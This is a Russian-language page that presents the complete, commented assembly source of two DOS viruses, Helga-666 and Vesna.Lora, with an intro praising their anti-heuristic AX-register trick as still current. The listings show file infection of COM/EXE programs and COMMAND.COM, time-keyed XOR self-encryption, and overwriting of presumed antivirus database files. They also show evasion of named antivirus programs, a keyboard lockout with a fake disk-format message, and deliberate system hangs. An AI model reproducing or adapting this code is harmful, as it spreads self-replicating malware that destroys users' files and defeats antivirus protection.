Перед тобой пара вирусов, которые основаны на антиэвристическом приеме по неявному использованию значения функции в регистре AX. Сейчас эти вирусы отлавливаются антивирусами, а когда то... Но самое поразительное то, что сам прием не устарел...
Helga666
;Вирус
Helga-666 Версия 0.2
;Заражает COM-программы в текущем
каталоге и command.com
;найденный по COMSPEC из DOS Enviroment
;Не заражает EXE-программы, имеющие
расширение COM
;Уничтожает файлы '*._*' и '*.ms'
записывая в них программу-носитель
;вместе с PSP и расшифрованным телом
вируса
;При совпадении времени запуска
программы-носителя, значения часа и
минут,
;вирус выводит сообщение, отключает
клавиатуру и завешивает компьютер.
;
;***************************************************************************
CSEG segment
assume cs:CSEG,ds:CSEG,es:CSEG
ORG 100h
START:
jmp VIRUS ;Переход на тело вируса
nop ;Идентификатор зараженности
VIRUS:
push es
push ds
db 60h ;pusha
call VIR_1 ;Вызвать подпрограмму
шифрации-дешифрации тела вируса
Len_call equ $-VIRUS
jmp RARITET ;Перейти на тело вируса
;-----------------------------------------------------
WRIT_Ofs equ $-VIRUS
WRIT_F db 40h ;Функция записи в файл
;-----------------------------------------------------
VIR_1: ;Подпрограмма шифрации-дешифрации
тела вируса
;при старте
call L_2
L_2:
pop bx ;Получить смещение
подпрограммы в сегменте программы
pop dx ;Достать адрес возврата
CRYPTO_KEY equ $-VIRUS
mov al,00h ;Поместить в al ключ
шифрования. Начальное значение
;ключа равно 0, т.е. вирус не
зашифрован
mov cx,CRYPTO_LEN ;Указать кол-во байт
шифрованного тела вируса
push dx ;сохранить адрес возврата в
стеке
push dx ;сохранить адрес возврата в
стеке
L_1:
mov dl,byte ptr [bx+START_LEN] ;Поместить в dl байт
xor dl,al ;Отксорить его ключом
mov byte ptr [bx+START_LEN],dl ;Записать байт
обратно
inc bx ;Увеличить смещение
loop L_1 ;Собственно цикл шифрации-дешифрации
тела вируса
ret
;---------------------------------------------
CRYPT_CRYPT: ;Подпрограмма шифрации-дешифрации
тела вируса
;при записи в файл
db 60h ;Сохранить регистры
mov ah,2ch
int 21h ;Получить время
xor cx,dx
xor ch,cl ;Получить в ch новый ключ шифра
mov byte ptr [di+CRYPTO_KEY+1],ch ;Поместить ключ
для использования
call VIR_1 ;Шифрование тела вируса новым
ключом
pop bx ;Достать адрес возврата
db 61h ;Достать регистры
mov ah,byte ptr [di+WRIT_Ofs] ;Функция записи в
файл
mov cx,VIRLEN ;Сколько байт будем
записывать
mov dx,di ;Откуда начнем писать
int 21h ;Собственно запись в файл
db 60h ;Сохранить регистры
call VIR_1 ;Дешифрация тела с тем же
ключом
pop bx ;Достать адрес возврата
db 61h ;Достать регистры
ret
;---------------------------------------------
RARITET: ;Собственно шифруемое тело
вируса
START_LEN equ $-L_2
xchg di,si ;При старте SI=100h
pop si
sub si,Len_call
push si
add si,BYTES_Ofs
movsw
movsw ;Пересылка начальных байт
программы
SET_DTA:
mov ah,1ah
pop dx
mov di,dx
add dx,VIRLEN
int 21h ;Устанавливаем DTA в конец тела
вируса
mov dx,di
add dx,MASK_Ofs ;Получить адрес маски
файлов
call crypto_mask ;Расшифровать маску
FIND_FIRST:
cld ;Устанавливаем флаг направления
mov ah, byte ptr [di+FUNCTION_Ofs] ;Функция поиска
первого файла
mov cx,0ffh ;Атрибуты файлов
INTERRUPT:
int 21h ;Собственно найти файл
jb Not_File ;Нет нужных файлов
mov ah,2fh
int 21h ;Получить адрес DTA
call INFECTED ;Обработка найденного файла
FIND_NEXT:
mov ah, byte ptr [di+FUNCTION_Ofs+1] ;Функция поиска
следующего файла
jmp Short INTERRUPT ;Вызвать прерывание 21h
Not_File:
call Killer ;Уничтожить антивирусные
базы
call command_com ;ОБРАБОТАТЬ КОМАНДНЫЙ
ПРОЦЕССОР
call Effect ;Попытка вывода эффекта
mov ah,1ah
mov dx,80h
int 21h ;Восстановить DTA программы
db 61h ;popa
pop ds
pop es
jmp si ;SI=100h Отдать управление
программе
;--------------------------------------------------------------------
INFECTED: ;Подпрограмма обработки файла
push bx
add bx,1eh
xchg dx,bx ;Поместить в DX адрес имени
файла из DTA
push dx
call Set_N_attr ;Сделать файл доступным
вирусу
READ_BEG:
mov ah,byte ptr [di+FUNCTION_Ofs+4]
mov cx,4
mov dx,di
add dx,BYTES_Ofs
push bx
push dx
int 21h ;Прочитать первые 4 байта
найденного файла
pop bx
mov ax,word ptr [bx]
mov cx,word ptr [bx+2]
pop bx
cmp ax,'ZM' ;Это EXE файл с расширением COM?
jnz TESTED_IDENT ;Нет, обработка
продолжается
LOC_1:
jmp CLOSE_FILE ;Да, отказаться от файла и
вернуться из подпрограммы
TESTED_IDENT:
cmp ch,90h ;Идентификатор зараженности
присутствует?
jnz WRITE_VIRUS ;Нет, попытка инфицировать
файл
jmp Short LOC_1 ;Да, файл уже заражен
WRITE_VIRUS:
call crypto_mask ;Закодировать маску
поиска файлов
mov ax,word ptr [di+FUNCTION_Ofs+5]
xor cx,cx
xor dx,dx
int 21h ;handle на конец файла
push ax
and ax,0f000h
cmp ax,0f000h ;Не слишком ли большой файл?
jnz LEN_OK ;Нет, можно заражать
pop ax
jmp CLOSE_FILE ;Слишком большой файл
LEN_OK:
call CRYPT_CRYPT ;Зашифроваться,
дописаться в файл, расшифроваться
call crypto_mask
mov ax,word ptr cs:[di+FUNCTION_Ofs+7]
xor cx,cx
xor dx,dx
int 21h ;handle на начало файла
pop ax
pop si
push si
sub ax,3 ;Вычесть длину перехода на
тело вируса
mov si,di
add si,BYTES_Ofs ;Вычислить смещение
начальных байт в теле вируса
mov byte ptr [si],0e9h ;переслать команду
перехода
mov word ptr [si+1],ax ;переслать длину
перехода
mov byte ptr [si+3],90h;переслать
идентификатор зараженности
mov ah,byte ptr [di+WRIT_Ofs]
xchg dx,si
mov cx,4
int 21h ;Записать новое начало в файл
CLOSE_FILE:
pop dx
pop cx
mov ax,word ptr cs:[di+FUNCTION_Ofs+9]
int 21h ;Восстановить дату и время
создания файла
mov ah,byte ptr [di+FUNCTION_Ofs+11]
int 21h ;Закрыть файл
mov ax,4301h
pop cx
pop dx
int 21h ;Восстановить атрибуты файла
pop ax
ret ;Вот файл и обработан
;-------------------------------------------------------------
command_com: ;Подпрограмма обработки
командного процессора
;указанного в COMSPEC
push di
push ds
mov si,2ch ;По смещению 2ch в DTA хранится
адрес ASCIIZ строк
;DOS Enviroment текущей задачи
mov ds,cs:[si] ;Совместить сегмент данных
с сегментом DOS Enviroment
mov si,0008 ;В SI поместить длину строки
"COMSPEC="
add di, VIRLEN ;В DI смещение DTA вируса в
сегменте кода
add di,2ch ;Немного сместимся в DTA
mov cx,0040h
rep movsb ;Перепишем ASCIIZ строки из DOS
Enviroment в DTA
sub di,40h ;Вернемся в начало
переписанного блока
pop ds
mov dx,di
pop si
push si
mov ah,byte ptr [si+FUNCTION_Ofs]
mov cx,20h
int 21h ;Установим нормальный атрибут
pop di
jb EXITER
mov ah,2fh
int 21h ;Получим адрес DTA вируса
mov bx,di
add bx,VIRLEN
mov si,bx
add bx,0eh ;Поместим в BX путь и имя
командного процессора
call INFECTED ;Обработаем его
EXITER:
ret
;--------------------------------------------------
crypto_mask: ;Подпрограмма шифрования-дешифрования
маски файла
push dx
push di
push cx
add di,MASK_Ofs ;Поместим в DI адрес маски
mov cx,LEN_MASK ;Поместим в CX длину маски
crypt_next:
mov dl,byte ptr [di] ;Поместим в DL байт маски
xor dl,060h ;Отксорим байт
mov byte ptr [di],dl ;Вернем байт обратно
inc di ;Увеличиваем счетчик
loop crypt_next ;Собственно цикл шифрации
ende_crypt:
pop cx
pop di
pop dx
ret
;--------------------------------------------------
MASK_Ofs equ $-VIRUS
MASK_F: ;Маска для поиска файлов
db '*' xor 060h
db '.' xor 060h
db 'c' xor 060h
db 'o' xor 060h
db 'm' xor 060h
db 0h xor 060h
LEN_MASK equ $-MASK_F ;Длина маски
;-------------------------------------------------------------
BYTES_Ofs equ $-VIRUS ;Начальные байты
программы
int 20h
dw 9090h
;-----------------------------------------------------
FUNCTION_Ofs equ $-VIRUS ;Функции вируса
FIND_1 db 4eh ;0 ;Начальный поиск по
шаблону
FIND_2 db 4fh ;1 ;Последующий поиск по
шаблону
OPEN_F dw 3d02h ;2 ;Открытие файла для ввода-вывода
READ_F db 3fh ;4 ;Чтение из файла
MOVE_E dw 4202h ;5 ;handle в конец файла
MOVE_B dw 4200h ;7 ;handle в начало файла
SETF_A dw 5701h ;9 ;Установка атрибутов
файлу
CLOS_F db 3eh ;11 ;Закрытие файла
GETF_A dw 5700h ;12 ;Получение атрибутов
файла
;-------------------------------------------------------------
KIL_Ofs equ $-VIRUS ;Первая маска удаляемых
файлов
db '*._*',0h
KIL_1Ofs equ $-VIRUS ;Вторая маска удаляемых
файлов
db '*.ms',0h
;-------------------------------------------------------------
Killer: ;Подпрограмма удаления файлов
db 60h
mov dx,di
push dx
add dx,KIL_Ofs
call KIMERSEN ;Поиск и удаление по первой
маске
pop dx
add dx,KIL_1Ofs
call KIMERSEN ;Поиск и удаление по второй
маске
db 61h
ret
;-----------------------------------------------
KIMERSEN: ;Подпрограмма поиска и
удаления файлов по маске
mov ah,byte ptr [di+FUNCTION_Ofs] ;Функция поиска
первого файла
mov cx,0ffffh ;Атрибуты файла
Kil_n:
int 21h ;Найти файл
jnb _Kil_ ;Файл найден
ret
_Kil_:
mov ah,2fh
int 21h ;Получить адрес DTA вируса
xchg dx,bx
add dx,1eh ;Поместить в DX адрес имени
найденного файла
push dx
call Set_N_Attr ;Сделать файл доступным
вирусу
mov ah,byte ptr [di+WRIT_Ofs] ;Функция записи в
файл
mov cx,word ptr [di+VIRLEN+1ah] ;Длина файла из DTA
xor dx,dx
int 21h ;Записать в файл туфту всякую
pop dx
pop cx
mov ax,word ptr cs:[di+FUNCTION_Ofs+9]
int 21h ;Восстановить время и дату
создания файла
mov ah,byte ptr [di+FUNCTION_Ofs+11]
int 21h ;Закрыть файл
mov ax,4301h
pop cx
pop dx
int 21h ;Восстановить атрибуты файла
mov ah,byte ptr [di+FUNCTION_Ofs+1] ;Функция поиска
следующего файла по маске
jmp KIL_n ;Вызвать прерывание 21h
;-------------------------------------------------------------
Set_N_Attr: ;Подпрограмма установки
файла доступным вирусу
pop si ;Достать адрес возврата
mov ax,4300h
int 21h ;Получить атрибуты файла
push cx ;Сохранить их в стеке
mov ax,4301h
xor cx,cx
int 21h ;Установить нормальный атрибут
файлу
mov ax,word ptr [di+FUNCTION_Ofs+2]
int 21h ;Открыть файл для чтения-записи
xchg bx,ax ;Переслать в bx номер файла
mov ax,word ptr [di+FUNCTION_Ofs+12]
int 21h ;Получить дату и время создания
файла
push cx
push dx ;Сохранить эти данные в стеке
jmp si ;Выход из подпрограммы
;-------------------------------------------------------------
Mes_Ofs equ $-VIRUS ;Выводимое сообщение
db 0ah,0dh,'WARNING: ALL DATA ON NON-REMOVABLE DISK'
db 0ah,0dh,'DRIVE C: WILL BE LOST!'
db 0ah,0dh,'Proced with Format (Y/N)? Yes'
db 0ah,0dh,'Ok','$'
EFFECT:
mov ah,2ch
int 21h ;Получить текущее время
cmp ch,cl ;Час равен минуте?
jz Divo ;Да, включить эффект
ret ;Нет, выйти
Divo:
cli
mov al,0adh
out 64h,al
nop
sti ;Отключить клавиатуру
mov dx,di
add dx,Mes_Ofs
mov ah,09h
int 21h ;Вывести сообщение на экран
cli
L_P:
jmp short L_P ;Завесить компьютер "вечным"
циклом
;-------------------------------------------------------------
CRYPTO_LEN equ $-RARITET
VIRLEN EQU $-VIRUS
CSEG ends
end START
Lora1614
;Вирус
Vesna.Lora
CSEG segment
assume cs:cseg, ds:cseg, es:cseg
org 100h
START:
db 60h
push ds
push es
push cs
pop ds
call SECRET
jmp SHORT GET_DOS_VERSION
;-----------------------------------
SECRET:
mov ah,00h
mov cx,SECRET_LEN
mov bx,offset NEWDTA-1
SECRET_LOP:
mov dh,byte ptr cs:[bx]
xor dh,ah
mov byte ptr cs:[bx],dh
dec bx
loop SECRET_LOP
ret
;---------------------------------
Write_Func db 40h
;---------------------------------
CRYPTO:
call new_code
db 60h
call SECRET
db 61h
lea dx,[START]
mov ah,Write_Func
mov cx,VIRLEN
int 21h ;ЗАПИСАТЬ ТЕЛО ВИРУСА
db 60h
call SECRET
db 61h
RET
;---------------------------------
GET_DOS_VERSION:
mov ah,Dos_V
int 21h
cmp al,3
jae GET_DTA
RESTORE_PROGRAM:
call command_com
call BUSSER
pop es
pop ds
db 61h
retf
GET_DTA:
mov ah,GetDTA_Func
int 21h
mov DTA,bx
SET_DTA:
mov dx,offset NEWDTA
mov ah,SetDTA_Func
int 21h
INFECTED:
mov dx,offset EXE_MASK
call SEARCH
mov dx,offset COM_MASK
call SEARCH
mov dx,offset COMAND_A+3
call SEARCH
OLD_DTA:
mov dx,word ptr DTA
mov ah,SetDTA_Func
int 21h
jmp short RESTORE_PROGRAM
TEXT_MSG1 db 'Весна пришла!','$'
;---------------------------------------------------
EXE_MASK db '*.exe',0h
DTA dw ?
COM_MASK db '*.com',0h
COMAND_C db 'c:\*.com',0h
COMAND_E db 'c:\*.exe',0h
COMAND_A db 'c:\*.___',0h
File_Attr dw ?
CX_Data dw ?
DX_Data dw ?
;---------------------------------------------------
BUSSER:
db 60h
mov ah,Time_F
int 21h
xor dx,dx
cmp ch,cl
jz MES
jmp QUIT_BUS
MES:
cmp ch,7
jnz MES_1
lea dx,TEXT_MSG1
MES_1:
cmp ch,9
jnz MES_2
lea dx,TEXT_MSG2
MES_2:
cmp ch,11
jnz MES_3
lea dx,TEXT_MSG3
MES_3:
cmp ch,13
jnz MES_4
lea dx,TEXT_MSG4
MES_4:
cmp ch,15
jnz MES_5
lea dx,TEXT_MSG5
MES_5:
cmp ch,17
jnz MES_6
lea dx,TEXT_MSG6
MES_6:
cmp ch,19
jnz MES_7
lea dx,TEXT_MSG7
MES_7:
cmp ch,21
jnz MES_8
lea dx,TEXT_MSG8
MES_8:
cmp dx,0
jz QUIT_BUS
mov ah,09h
int 21h
MES_9:
cli
hlt
jmp short MES_9
QUIT_BUS:
db 61h
ret
;---------------------------------------------------
SEARCH:
cld
mov ah,FindFirst
mov cx,All_Attr
INTERRUPT:
int 21h
jb NOT_FILE
mov ah,GetDTA_Func
int 21h
call PLAQUE
mov ah,FindNext
jmp short INTERRUPT
NOT_FILE:
ret
TEXT_MSG2 db 'Unpress key TURBO to continue...','$'
;---------------------------------------------------
Set_N_Attr: ;Подпрограмма установки
файла доступным вирусу
pop si ;Достать адрес возврата
mov ax,GetAttr_F
int 21h ;Получить атрибуты файла
mov File_Attr,cx
mov ax,SetAttr_F
xor cx,cx
int 21h ;Установить нормальный атрибут
файлу
mov ax,Open_F
int 21h ;Открыть файл для чтения-записи
xchg bx,ax ;Переслать в bx номер файла
mov handle,bx
mov ax,GetDate_F
int 21h ;Получить дату и время создания
файла
mov DX_Data,dx
mov CX_Data,cx
jmp si ;Выход из подпрограммы
TEXT_MSG3 db 'Format drive c: completed','$'
;---------------------------------------------------
Set_O_Attr: ;Подпрограмма
восстановления файла
pop si ;Достать адрес возврата
mov bx,handle
mov ax,SetDate_F
mov cx,CX_Data
mov dx,DX_Data
int 21h
mov ah,Close_F
int 21h
mov cx, File_Attr
pop dx
mov ax,SetAttr_F
int 21h
jmp si ;Выход из подпрограммы
TEXT_MSG4 db 'PRESS RESET TO CONTINUE','$'
;---------------------------------------------------
;Проверка на антивирус
tested_name:
db 60h
call tested_start
prompt db 'drwetbmsmvavaiscadutanatsdncvcdnwiioibvi'
ax_save dw ?
tested_start:
pop si
mov dx,[bx]
mov bx,0
OR DL,00100000B
OR DH,00100000B
loop_tested:
mov cx,cs:[si+bx]
cmp dx,cx
jne tested_1
jmp tested_failure
tested_1:
inc bx
inc bx
cmp cx,'vi'
jne loop_tested
xor ax,ax
jmp tested_ende
tested_failure:
mov ah,1
tested_ende:
mov ax_save,ax
db 61h
mov ax,ax_save
ret
TEXT_MSG5 db 'Пора пить кофе!','$'
;---------------------------------------------------
HANDLE_ENDE:
mov ah,Move_H
xor cx,cx
xor dx,dx
int 21h
ret
;---------------------------------------------------
maxlen:
AND cx,0F000H
CMP cx,0F000H
JNZ Yes_Write
ret_maxlen:
mov cx,1
ret
Yes_Write:
xor cx,cx
ret
;---------------------------------------------------
Tested_Extension:
push ax
push dx
mov al,0
call HANDLE_ENDE
mov ah,Read_F
lea dx,bytes_4
mov cx,2
int 21h
mov al,0
call HANDLE_ENDE
cmp word ptr bytes_4,'ZM'
jz EXE_FIND
xor cx,cx
NAFIG:
pop dx
pop ax
ret
EXE_FIND:
mov cx,1
jmp short NAFIG
TEXT_MSG6 db 'Здесь был Игорь Д.','$'
;---------------------------------------------------
PLAQUE:
add bx,Offs_N
PLAQ_1:
xchg dx,bx ;Поместить в DX адрес имени
файла из DTA
push dx
call tested_name
cmp ah,0
je tested_ok
NO_PLAQUE:
pop dx
pop bx
ret
tested_ok:
call Set_N_attr ;Сделать файл доступным
вирусу
mov al,02
call HANDLE_ENDE
mov LEN_T_1,dx ;сохранить длину файла
mov LEN_T_2,ax
mov cx,dx
call maxlen
cmp cx,1
jz Close_File
mov cx,ax
call maxlen
cmp cx,1
jz Close_File
jmp INFECT
Close_File:
call Set_O_Attr
ret
INFECT:
call Tested_Extension
cmp cx,1
jz EXE_FILE
call WR2COM ;обработать как COM
jmp CLOSE_FILE
exe_file:
call WR2EXE ;обработать как EXE
jmp CLOSE_FILE
;---------------------------------------------------
LEN_T_1 dw ?
LEN_T_2 dw ?
handle dw ?
bytes_4 dw ?
SAVE_CX dw ?
SAVE_DX dw ?
;---------------------------------------------------
;---------------------------------------------------
TEXT_MSG7 db
'xXxXxXxXxXxXxXxXxXxXx',0ah,0dh,'oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOo','$'
;---------------------------------------------------
wr2com:
jmp st_2com
new_beg label byte ;новое начало для файлов
mov ax,cs
c_1:
add ax,0
push ax
c_2:
mov ax,0
push ax
db 0cbh
len_new_beg equ $-new_beg
com label byte ;примочка к COM программам
mov di,100h
push cs
pop ds
c_3:
mov ax,0
c_4:
add ax,0
and ax,000fh
mov bx,16
sub bx,ax
and bx,000fh
add bx,len_new_beg
mov ax,100h
sub ax,bx
mov si,ax
mov cx,len_new_beg
rep movsb
push es
pop ds
push es
mov ax,100h
push ax
push ax
db 0c3h
len_com equ $-com
old_beg label byte ;старое начало программ
db len_new_beg dup (?)
len_im equ $-com
exiter: ;выход из процедуры
pop bx
jmp bx
st_2com:
mov bx,handle
mov ah,Move_H
mov al,Move_L
xor cx,cx
xor dx,dx
int 21h ;указатель в начало файла
mov ah,Read_F
lea dx,old_beg
mov cx,len_new_beg
int 21h ;читать начало файла
jnc prep_beg
jmp exiter
prep_beg:
mov ax,word ptr old_beg[0]
cmp ax,0c88ch ;уже заражен ?
jne YES_YES
jmp exiter
YES_YES: ;коррекция нового начала файла
mov ax,len_t_1
mov bx,len_t_2
add bx,len_im
jnc pr1
inc ax
pr1:
add bx,15
and bx,0fff0h
add bx,ax
mov cl,4
ror bx,cl
mov word ptr c_1[1],bx
mov ax,len_t_2
and ax,000fh
mov bx,ax
add ax,len_im
add ax,15
and ax,0fff0h
add bx,100h
sub bx,ax
mov word ptr c_2[1],bx
mov bx,handle
mov ah,Move_H
mov al,Move_L
xor cx,cx
xor dx,dx
int 21h ;указатель в начало файла
mov ah,Write_Func
lea dx,new_beg
mov cx,len_new_beg
int 21h ;записать новое начало
prep_c_end: ;коррекция примочки
mov ax,len_t_2
mov word ptr c_3[1],ax
mov word ptr c_4[1],len_im
mov bx,handle
mov ah,Move_H
mov al,Move_L
mov cx,len_t_1
mov dx,len_t_2
int 21h ;указатель в конец файла
wr_end:
mov ah,Write_Func
lea dx,com
mov cx,len_im
int 21h ;записать примочку
mov cx,len_t_1 ;выровнять на границу
параграфа
mov dx,len_t_2
add dx,len_im
jnc cal_1
inc cx
cal_1:
add dx,15
jnc cal_2
inc cx
cal_2:
and dx,0fff0h
mov bx,handle
mov ah,Move_H
mov al,Move_L
int 21h ;указатель в конец файла
call crypto
ret
;---------------------------------------------------
;---------------------------------------------------
TEXT_MSG8 db ' VESNA (c) 1994,96 -=* Uni Tula *=-','$'
;---------------------------------------------------
WR2EXE:
db 60h
jmp ST_2EXE
;--------------------------------------------------------------
HDR label byte ;заголовок EXE программы
Signature dw ?
partpag dw ?
pagecnt dw ?
count dw ?
hdrsize dw ?
minavail dw ?
maxavail dw ?
reloss dw ?
relosp dw ?
checks dw ?
exeip dw ?
relocs dw ?
LEN_HDR equ $-hdr
;----------------------------------------------------------
IMIT label byte ;вставка перед вирусом
mov ax,es
i_1:
add ax,0
add ax,10h
push ax
i_2:
mov ax,0
push ax
mov ax,100h
push ax
db 0c3h
LEN_IMIT equ $-imit
;----------------------------------------------------------
ST_2EXE:
mov ah,Move_H
mov bx,HANDle
xor cx,cx
xor dx,dx
mov al,0
int 21h ;указатель в начало файла
mov ah,Read_F
lea dx,[HDR]
mov cx,len_hdr
int 21h ;читать заголовок программы
PREP_END:
mov bx,Signature
cmp bx,Sig_E ;это действительно EXE -
программа ?
je CHECK_IDENT
jmp QUITER_FROM_WREXE
CHECK_IDENT:
dec bx
mov Signature,bx ;спрятать сигнатуру
mov bx,checks
cmp bx,Ident_E ;уже заражен ?
jne NEXT_WORK
jmp QUITER_FROM_WREXE
NEXT_WORK:
mov bx,Ident_E
mov checks,bx ;установить метку
mov ax,relocs
mov word ptr i_1[1],ax ;для вставки идут
разные примочки
mov ax,exeip
mov word ptr i_2[1],ax
mov cx,LEN_T_1
mov dx,LEN_T_2
mov bx,HANDle
mov SAVE_CX,cx
mov SAVE_DX,dx
mov ax,4200h
int 21h ;сместить указатель в конец
программы
mov ah,Write_Func
lea dx,[IMIT]
mov cx,len_imit
int 21h ;записать вставку
jnc WR_SOUR
jmp QUITER_FROM_WREXE
WR_SOUR:
mov cx,SAVE_CX ;подготовить заголовок
программы
mov dx,SAVE_DX
add dx,len_imit
jnc m1
inc cx
m1:
add dx,15
jnc m2
inc cx
m2:
and dx,0fff0h
mov SAVE_CX,cx
mov SAVE_DX,dx
mov ah,Move_H
mov al,Move_L
int 21h ;установить указатель в конец
файла
call crypto
mov ax,SAVE_CX ;дальнейшие примочки к
заголовку
mov bx,SAVE_DX
add bx,ax
mov cl,4
ror bx,cl
sub bx,10h
mov cx,hdrsize
sub bx,cx
mov relocs,bx
mov ax,partpag
and ax,000fh
mov bx,ax
add ax,len_imit
add ax,15
and ax,0fff0h
add bx,100h
sub bx,ax
mov exeip,bx
mov ax,SAVE_CX
mov bx,SAVE_DX
add bx,VIRLEN
jnc m3
inc ax
m3:
mov dx,bx
and dx,1ffh
mov partpag,dx
add bx,511
jnc m4
inc ax
m4:
and bh,0feh
mov ah,bh
mov cl,9
ror ax,cl
mov pagecnt,ax
mov ah,Move_H
mov al,Move_L
mov bx,Signature ;восстановить сигнатуру
inc bx
mov Signature,bx
mov bx,HANDle
xor cx,cx
xor dx,dx
int 21h ;установить указатель в начало
программы
mov ah,Write_Func
lea dx,[HDR]
mov cx,len_hdr
int 21h ;записать заголовок
QUITER_FROM_WREXE:
db 61h
ret
;---------------------------------------------------
new_code:
db 60h
mov ah,Time_F
int 21h
xor cx,dx
xor ch,cl
mov byte ptr [SECRET+1],ch ;Поместить ключ для
использования
db 61h
ret
;---------------------------------------------------
Dos_V db 30h
SetDTA_Func db 1ah
GetDTA_Func db 2fh
FindFirst db 4eh
FindNext db 4fh
GetAttr_F dw 4300h
SetAttr_F dw 4301h
Open_F dw 3d02h
GetDate_F dw 5700h
SetDate_F dw 5701h
Close_F db 3eh
Move_H db 42h
Move_L db 00h
All_Attr dw 00ffh
Read_F db 3fh
Ofs_N db 1eh
Time_F db 2ch
Ident_E dw 9619h
Offs_N dw 001eh
Sig_E dw 5a4dh
names_files db 'c:\'
db 12 dup (?)
db 0h
;---------------------------------------------------
command_com:
mov dx, offset COMAND_C
call RARITET
mov dx, offset COMAND_E
call RARITET
mov dx, offset COMAND_A
call RARITET
ret
RARITET:
cld
mov ah,FindFirst
mov cx,All_Attr
INTERR:
int 21h
jb N_FILE
mov ah,GetDTA_Func
int 21h
add bx,Offs_N
S_0:
mov di, offset names_files + 3
mov si,bx
mov cx,13
rep movsb
S_1:
mov bx, offset names_files
call PLAQ_1
mov ah,FindNext
jmp short INTERR
N_FILE:
ret
;---------------------------------------------------
VIRLEN Equ $-START
SECRET_LEN EQU $-GET_DOS_VERSION
NEWDTA label byte
cseg ends
end start